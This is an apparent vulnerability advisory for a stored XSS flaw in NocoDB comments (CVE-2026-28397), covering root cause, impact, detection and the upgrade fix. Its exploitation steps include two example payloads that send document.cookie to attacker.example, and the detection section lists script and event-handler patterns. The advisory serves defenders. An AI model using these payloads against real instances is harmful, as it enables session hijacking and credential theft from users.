CVE-2026-28397: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28397 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. The flaw exists in all NocoDB versions up to and including 0.301.2, where comments are rendered via Vue's v-html directive without sanitization, allowing persistent script injection. It was published on March 2, 2026, and patched in version 0.301.3. The vulnerability carries a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (GitHub Advisory, NocoDB Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). Specifically, comments in Comments.vue were processed by markdown-it with the html: true option enabled, and the resulting HTML was injected directly into the DOM via Vue's v-html without passing through a sanitization library such as DOMPurify. This allows a user with the Commenter role to craft a comment containing arbitrary HTML/JavaScript that is stored server-side and subsequently executed in the browser of any user who views the comment. The attack requires network access and low privileges (Commenter role), but user interaction (a victim viewing the comment) is necessary for payload execution (NocoDB Advisory, GitHub Advisory).

Successful exploitation enables stored XSS payloads to execute in the browser context of any NocoDB user who views the malicious comment, potentially affecting all users of a shared NocoDB instance. Consequences include session hijacking, credential theft, unauthorized actions performed on behalf of victims, and exfiltration of data accessible within the victim's session. The CVSS scope is rated as "Changed," indicating that the impact extends beyond the vulnerable component to the victim's browser environment (GitHub Advisory, NocoDB Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.014% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability was discovered by an AI agent developed by the GitHub Security Lab and reviewed by researchers Peter Stockli (@p-) and Man Yue Mo (@m-y-mo) (GitHub Advisory).

1. Gain Commenter Access: Obtain or register an account with at least the Commenter role on a vulnerable NocoDB instance (version ≤ 0.301.2).
2. Identify a Target Record: Navigate to any table record that supports the comments feature within NocoDB.
3. Craft Malicious Comment: Compose a comment containing an HTML/JavaScript payload. Because markdown-it is configured with html: true, raw HTML tags are permitted. Example payload: <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or an <img> onerror variant: <img src=x onerror="fetch('https://attacker.example/?s='+btoa(document.cookie))">.
4. Submit the Comment: Post the comment to the target record. The payload is stored server-side without sanitization.
5. Wait for Victim Interaction: When any other authenticated user opens the record and views the comments section, the malicious script executes in their browser context.
6. Harvest Results: Collect exfiltrated session tokens, cookies, or other sensitive data from the attacker-controlled endpoint to perform session hijacking or further unauthorized actions (NocoDB Advisory, GitHub Advisory).

• Network: Unexpected outbound HTTP requests from users' browsers to external or unknown domains shortly after viewing NocoDB record comments; requests containing Base64-encoded strings or cookie values in query parameters.
• Logs: NocoDB application or web server logs showing comment submission requests containing raw HTML tags (e.g., <script>, <img onerror=, <svg onload=) in comment body fields.
• Browser/Client: Browser developer console errors or network requests to attacker-controlled domains triggered when viewing specific NocoDB records with comments.
• Application Data: Comments stored in the NocoDB database containing unsanitized HTML or JavaScript markup, identifiable by querying the comments table for entries with <script>, onerror=, onload=, or similar event handler patterns.

The primary remediation is to upgrade NocoDB to version 0.301.3 or later, which addresses this vulnerability by properly sanitizing comment input before rendering via v-html (NocoDB Release). As an interim workaround prior to patching, administrators should consider disabling or restricting the comment functionality, limiting Commenter role assignments to trusted users only, or implementing a web application firewall (WAF) rule to block HTML tags in comment submissions. Restricting access to NocoDB instances to trusted internal networks can also reduce exposure until patching is completed (NocoDB Advisory).

The vulnerability was discovered by an AI agent developed by the GitHub Security Lab, with the finding reviewed by GHSL researchers Peter Stockli (@p-) and Man Yue Mo (@m-y-mo), highlighting the growing role of automated tooling in security research (NocoDB Advisory). The NocoDB maintainers acknowledged multiple security researchers in the 0.301.3 release notes, indicating a coordinated disclosure process involving several independent reporters (NocoDB Release). No significant broader media coverage or notable community debate has been observed beyond standard vulnerability database aggregation.